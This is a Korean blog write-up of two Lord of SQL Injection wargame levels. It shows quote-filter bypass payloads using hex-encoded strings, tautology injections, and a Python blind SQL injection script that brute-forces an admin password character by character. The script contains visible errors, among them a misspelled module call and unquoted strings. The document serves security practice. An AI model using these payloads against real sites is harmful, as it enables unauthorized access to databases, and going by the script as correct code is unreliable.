LOS 문제 풀이-1

Simcurity·2023년 4월 5일
0

보안 문제 풀기

목록 보기
1/2

LOS (Lord Of Sql injection) 문제 풀이 진행하겠습니다.
https://los.rubiya.kr/gate.php (사이트 주소)

1. goblin


3번 goblin 문제입니다.

코드를 보니까 일단 result에 값이 있으면 Hello 'id' 를 출력하고 만약 id가 'admin'이면 solve를 호출합니다.
일단 GET방식으로 주소 뒤에 ?no=no를 넣어보았습니다.

흠.. 일단 출력은 됐는데 id가 guest라서 solve를 하진 못했습니다.
뭔가 id를 admin으로 바꾸거나 id가 admin인 값도 받도록 해야할 것 같은데...

no union select id from prob_goblin where id = admin

이건 _ 문자가 필터링 돼서 막힌다...
url인코딩으로 넣어도 막혔습니다..
no에 1을 넣어보았습니다.

참이 되었습니다. 즉, guest의 no값은 1입니다.
그러면 값을 틀리게 하고 or 를 붙여서 id = admin을 하면 되겠습니다.
그래서

?no=2 or id = 'admin'

입력했는데 No Quotes 문구가 나왔다..
그래서 '를 url인코딩으로 하려니 url인코딩도 아까 막혔다.
설마 + 지푸라기라도 잡는 심정으로 admin값에 16진수 값을 넣어보았습니다.
https://www.online-toolz.com/langs/ko/tool-ko-text-hex-convertor.html
이 사이트는 문자를 hex값으로 바꿔주는 사이트입니다.
그랬더니 61646d696e라는 값이 나왔습니다.

?no=2 or id=0x61646d696e

문제가 풀렸습니다.
왜 '가 없어도 인식이 되는지 알아보니 hex값은 변수로 인식되는게 아니라 문자자체로 인식이 되기 때문이라고 합니다.

2. orc


코드만 봐도 지금까지 풀었던 것들보단 난이도가 있을것 같습니다.
일단 코드를 해석해보면 pw 값을 입력받고 쿼리문을 실행하고 참이면 hello admin이 나옵니다.
그리고, addslashs라는 함수를 사용하는데 찾아보니

입력 값에 의해 쿼리문이 동적으로 실행되는것을 방지하기 위한 보안 방법으로 싱글쿼터나 더블쿼터 등 앞에 \를 붙여서 문자로 인식되게 만드는 기능을 합니다.
비슷한 함수로는 magic_quotes_gpc가 있습니다.
이거는 GET, POST, COOKIE 데이터에 addslashs함수 처리를 해줍니다.

' or 1=1#

그럼 length함수로 pw의 길이를 구해보겠습니다.

' or id = 'admin' and length(pw) < 10 #

패스워드 길이가 10자리 미만인 것을 확인했습니다.

그렇게 9,8 1씩 줄여나갔습니다.

8에서 Hello admin이 출력이 되지 않았고 패스워드 8자리인 것을 알아냈습니다.

그럼 이제 python으로 requests 모듈을 이용해 자동화 코드를 짜보겠습니다.

import requests

address = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookie = {'PHPSESSID' : 'glalmpvk1r643t3g8al7il12l6'}

for i in range (0,9):
	for j in range(47,123):		# ascii 코드 값 숫자, 영소문자, 영대문자 범위
		URL = address + "?pw=' or id='admin' and ascii(substr(pw,"+str(i)+",1)) = "+str(j)+"%23
        res = reqests.get(URL,cookies=cookie)
        if Hello admin in res.text:
        	print("index "+str(i)+" = "+chr(j))
            break

substr()함수는 문자열을 정하고 그 문자열의 값을 추출하는데 사용되는 함수입니다.
substr('문자열',m,n) ----> 문자열의 m번째부터 n개의 문자 추출
substr('admin',1,1) ----> 'a'가 추출
substr('admin',2,3) ----> 'dmi'가 추출

코드를 실행하면

이렇게 패스워드가 추출됩니다.

추출된 패스워드를 pw에 입력하면

문제가 풀렸습니다!

0개의 댓글